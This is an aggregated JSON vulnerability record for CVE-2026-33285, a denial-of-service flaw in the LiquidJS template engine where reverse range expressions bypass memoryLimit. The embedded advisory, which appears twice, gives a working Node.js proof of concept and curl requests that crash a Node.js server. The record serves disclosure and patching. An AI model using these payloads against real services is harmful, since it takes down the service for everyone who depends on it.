{"id":"CVE-2026-33285","aliases":["EUVD-2026-16062","GHSA-9r5m-9576-7f6x"],"status":"published","title":"LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00414,"percentile":0.36025,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-20","CWE-400"],"published":"2026-03-25T17:40:53Z","modified":"2026-10-28T02:31:10Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"liquidjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"10.24.0"}]}]},{"source":"osv","ecosystem":"npm","package":"liquidjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"10.24.0"}]}]}],"products":[{"vendor":"harttle","product":"liquidjs"},{"vendor":"liquidjs","product":"liquidjs"}],"references":[{"url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-9r5m-9576-7f6x","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/harttle/liquidjs/commit/95ddefc056a11a44d9e753fd47a39db2c241e578","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33285","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9r5m-9576-7f6x"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33285.json","tags":["advisory"]},{"url":"https://github.com/harttle/liquidjs","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33285","title":"LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue.","status":"published","published":"2026-03-26T00:34:25.169Z","modified":"2026-03-28T02:08:05.711Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-20","CWE-400"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-16062","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue.","status":"published","published":"2026-03-26T00:34:25Z","modified":"2026-03-28T02:08:05Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:26.783049Z"}],"ghsa":[{"id":"GHSA-9r5m-9576-7f6x","title":"LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash","description":"### Summary\n\nLiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a **V8 Fatal error that crashes the Node.js process**, resulting in complete denial of service from a single HTTP request.\n\n### Details\nWhen LiquidJS evaluates a range token `(low..high)`, it calls `ctx.memoryLimit.use(high - low + 1)` in `src/render/expression.ts:70` to account for memory usage. However, for reverse ranges where `low \u003e high` (e.g., `(100000000..1)`), this computation yields a negative value (`1 - 100000000 + 1 = -99999998`).\n\nThe `Limiter.use()` method in `src/util/limiter.ts:11-14` does not validate that the `count` parameter is non-negative. It simply adds `count` to `this.base`, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured `memoryLimit` pass the `base + count \u003c= limit` assertion.\n\n```typescript\n// src/render/expression.ts:67-72\nfunction * evalRangeToken (token: RangeToken, ctx: Context) {\n  const low: number = yield evalToken(token.lhs, ctx)\n  const high: number = yield evalToken(token.rhs, ctx)\n  ctx.memoryLimit.use(high - low + 1)  // high=1, low=1e8 → use(-99999999)\n  return range(+low, +high + 1)\n}\n\n// src/util/limiter.ts:11-14\nuse (count: number) {\n  count = +count || 0\n  assert(this.base + count \u003c= this.limit, this.message)\n  this.base += count  // base becomes negative\n}\n```\n\n#### Escalation to Process Crash via Cons-String Flattening\n\nV8 optimizes string concatenation (`append` filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means `{% assign s = s | append: s %}` repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.\n\nHowever, when a filter that requires the full string buffer is applied — such as `replace` — V8 must \"flatten\" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a **V8 C++ level Fatal error** (`Fatal JavaScript invalid size error 134217729`) that:\n\n- **Cannot be caught** by JavaScript `try-catch` or `process.on('uncaughtException')`\n- **Immediately terminates** the Node.js process (exit code 133 / SIGTRAP)\n- **Crashes the entire service**, not just the attacking connection\n\nThe complete attack chain:\n1. Insert 5 reverse ranges `{% for x in (100000000..1) %}{% endfor %}` → memory budget becomes -500M\n2. Build a 134MB cons-string via 27 iterations of `{% assign s = s | append: s %}`  → negligible actual memory\n3. Apply `{% assign flat = s | replace: 'A', 'B' %}` → V8 attempts to flatten → **Fatal error → process crash**\n\nThe attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.\n\n### PoC\n- LiquidJS \u003c= 10.24.x with `memoryLimit` option enabled\n- Attacker can control Liquid template source code \n\n\nSave the following as `poc_memorylimit_bypass.js` and run with `node poc_memorylimit_bypass.js`:\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\n(async () =\u003e {\n  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n  // Step 1 — Baseline: memoryLimit blocks large allocation\n  console.log('=== Step 1: Baseline (should fail) ===');\n  try {\n    const baseline = \"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n    const result = await engine.parseAndRender(baseline);\n    console.log('Result:', result); // Should not reach here\n  } catch (e) {\n    console.log('Blocked:', e.message); // \"memory alloc limit exceeded\"\n  }\n\n  // Step 2 — Bypass: reverse ranges drive counter negative\n  console.log('\\n=== Step 2: Bypass (should succeed) ===');\n  try {\n    const bypass = \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n    const result = await engine.parseAndRender(bypass);\n    console.log('Result:', result); // \"134217728\" — 134MB allocated despite 100MB limit\n  } catch (e) {\n    console.log('Error:', e.message);\n  }\n\n  // Step 3 — Process crash: cons-string flattening via replace\n  console.log('\\n=== Step 3: Process crash (node process will terminate) ===');\n  console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.');\n  try {\n    const crash = [\n      ...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'),\n      \"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}\",\n      \"{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}\"\n    ].join('');\n    const result = await engine.parseAndRender(crash);\n    console.log('Result:', result); // Should not reach here\n  } catch (e) {\n    console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable\n  }\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: Baseline (should fail) ===\nBlocked: memory alloc limit exceeded, line:1, col:43\n\n=== Step 2: Bypass (should succeed) ===\nResult: 134217728\n\n=== Step 3: Process crash (node process will terminate) ===\nIf the process exits here with code 133/SIGTRAP, the crash is confirmed.\n#\n# Fatal error in , line 0\n# Fatal JavaScript invalid size error 134217729\n#\n```\n\nThe process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and **cannot be caught** by `try-catch`, `process.on('uncaughtException')`, or any JavaScript error handler.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\nIf the application exposes an endpoint that renders user-supplied Liquid templates with `memoryLimit` configured (e.g., CMS preview, newsletter editor, etc.):\n\n```bash\n# Step 1 — Baseline: should return \"memory alloc limit exceeded\"\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}'\n\n# Step 2 — Bypass: should return \"134217728\" (134MB allocated despite 100MB limit)\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}'\n\n# Step 3 — Process crash: connection drops, server process terminates\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\\''A'\\'', '\\''B'\\'' %}{{ flat | size }}\"}'\n```\n\nReplace `http://\u003capp\u003e/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.\n\n### Impact\nAn attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the `memoryLimit` protection entirely and crash the Node.js process:\n\n- **Complete bypass of the `memoryLimit` security mechanism**: The explicitly configured memory limit becomes ineffective.\n- **Process crash from a single HTTP request**: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception.\n- **Service-wide denial of service**: All in-flight requests are terminated. Manual restart or container restart policy is required to recover.\n- **False sense of security**: Administrators who configured `memoryLimit` believe their service is protected when it is not.\n- **Container restart policy does not mitigate**: Even with Docker `restart: always` or Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.","status":"published","published":"2026-03-25T17:40:53Z","modified":"2026-03-30T13:53:36Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-20","CWE-400"],"updated_at":"2026-11-02T14:39:46.119458Z"}],"nvd":[{"id":"CVE-2026-33285","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue.","status":"published","published":"2026-03-26T01:16:27.363Z","modified":"2026-06-17T10:37:15.05Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-20","CWE-400"],"updated_at":"2026-11-02T14:12:11.678711Z"}],"osv":[{"id":"CVE-2026-33285","title":"LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue.","status":"published","published":"2026-03-26T00:34:25.169Z","modified":"2026-10-28T02:31:10.860852902Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-20","CWE-400"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"GHSA-9r5m-9576-7f6x","title":"LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash","description":"### Summary\n\nLiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a **V8 Fatal error that crashes the Node.js process**, resulting in complete denial of service from a single HTTP request.\n\n### Details\nWhen LiquidJS evaluates a range token `(low..high)`, it calls `ctx.memoryLimit.use(high - low + 1)` in `src/render/expression.ts:70` to account for memory usage. However, for reverse ranges where `low \u003e high` (e.g., `(100000000..1)`), this computation yields a negative value (`1 - 100000000 + 1 = -99999998`).\n\nThe `Limiter.use()` method in `src/util/limiter.ts:11-14` does not validate that the `count` parameter is non-negative. It simply adds `count` to `this.base`, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured `memoryLimit` pass the `base + count \u003c= limit` assertion.\n\n```typescript\n// src/render/expression.ts:67-72\nfunction * evalRangeToken (token: RangeToken, ctx: Context) {\n  const low: number = yield evalToken(token.lhs, ctx)\n  const high: number = yield evalToken(token.rhs, ctx)\n  ctx.memoryLimit.use(high - low + 1)  // high=1, low=1e8 → use(-99999999)\n  return range(+low, +high + 1)\n}\n\n// src/util/limiter.ts:11-14\nuse (count: number) {\n  count = +count || 0\n  assert(this.base + count \u003c= this.limit, this.message)\n  this.base += count  // base becomes negative\n}\n```\n\n#### Escalation to Process Crash via Cons-String Flattening\n\nV8 optimizes string concatenation (`append` filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means `{% assign s = s | append: s %}` repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.\n\nHowever, when a filter that requires the full string buffer is applied — such as `replace` — V8 must \"flatten\" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a **V8 C++ level Fatal error** (`Fatal JavaScript invalid size error 134217729`) that:\n\n- **Cannot be caught** by JavaScript `try-catch` or `process.on('uncaughtException')`\n- **Immediately terminates** the Node.js process (exit code 133 / SIGTRAP)\n- **Crashes the entire service**, not just the attacking connection\n\nThe complete attack chain:\n1. Insert 5 reverse ranges `{% for x in (100000000..1) %}{% endfor %}` → memory budget becomes -500M\n2. Build a 134MB cons-string via 27 iterations of `{% assign s = s | append: s %}`  → negligible actual memory\n3. Apply `{% assign flat = s | replace: 'A', 'B' %}` → V8 attempts to flatten → **Fatal error → process crash**\n\nThe attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.\n\n### PoC\n- LiquidJS \u003c= 10.24.x with `memoryLimit` option enabled\n- Attacker can control Liquid template source code \n\n\nSave the following as `poc_memorylimit_bypass.js` and run with `node poc_memorylimit_bypass.js`:\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\n(async () =\u003e {\n  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n  // Step 1 — Baseline: memoryLimit blocks large allocation\n  console.log('=== Step 1: Baseline (should fail) ===');\n  try {\n    const baseline = \"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n    const result = await engine.parseAndRender(baseline);\n    console.log('Result:', result); // Should not reach here\n  } catch (e) {\n    console.log('Blocked:', e.message); // \"memory alloc limit exceeded\"\n  }\n\n  // Step 2 — Bypass: reverse ranges drive counter negative\n  console.log('\\n=== Step 2: Bypass (should succeed) ===');\n  try {\n    const bypass = \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n    const result = await engine.parseAndRender(bypass);\n    console.log('Result:', result); // \"134217728\" — 134MB allocated despite 100MB limit\n  } catch (e) {\n    console.log('Error:', e.message);\n  }\n\n  // Step 3 — Process crash: cons-string flattening via replace\n  console.log('\\n=== Step 3: Process crash (node process will terminate) ===');\n  console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.');\n  try {\n    const crash = [\n      ...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'),\n      \"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}\",\n      \"{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}\"\n    ].join('');\n    const result = await engine.parseAndRender(crash);\n    console.log('Result:', result); // Should not reach here\n  } catch (e) {\n    console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable\n  }\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: Baseline (should fail) ===\nBlocked: memory alloc limit exceeded, line:1, col:43\n\n=== Step 2: Bypass (should succeed) ===\nResult: 134217728\n\n=== Step 3: Process crash (node process will terminate) ===\nIf the process exits here with code 133/SIGTRAP, the crash is confirmed.\n#\n# Fatal error in , line 0\n# Fatal JavaScript invalid size error 134217729\n#\n```\n\nThe process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and **cannot be caught** by `try-catch`, `process.on('uncaughtException')`, or any JavaScript error handler.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\nIf the application exposes an endpoint that renders user-supplied Liquid templates with `memoryLimit` configured (e.g., CMS preview, newsletter editor, etc.):\n\n```bash\n# Step 1 — Baseline: should return \"memory alloc limit exceeded\"\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}'\n\n# Step 2 — Bypass: should return \"134217728\" (134MB allocated despite 100MB limit)\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}'\n\n# Step 3 — Process crash: connection drops, server process terminates\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\\''A'\\'', '\\''B'\\'' %}{{ flat | size }}\"}'\n```\n\nReplace `http://\u003capp\u003e/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.\n\n### Impact\nAn attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the `memoryLimit` protection entirely and crash the Node.js process:\n\n- **Complete bypass of the `memoryLimit` security mechanism**: The explicitly configured memory limit becomes ineffective.\n- **Process crash from a single HTTP request**: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception.\n- **Service-wide denial of service**: All in-flight requests are terminated. Manual restart or container restart policy is required to recover.\n- **False sense of security**: Administrators who configured `memoryLimit` believe their service is protected when it is not.\n- **Container restart policy does not mitigate**: Even with Docker `restart: always` or Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.","status":"published","published":"2026-03-25T17:40:53Z","modified":"2026-03-30T14:05:46.450291Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-20","CWE-400"],"updated_at":"2026-11-02T15:46:44.225359Z"}]}}
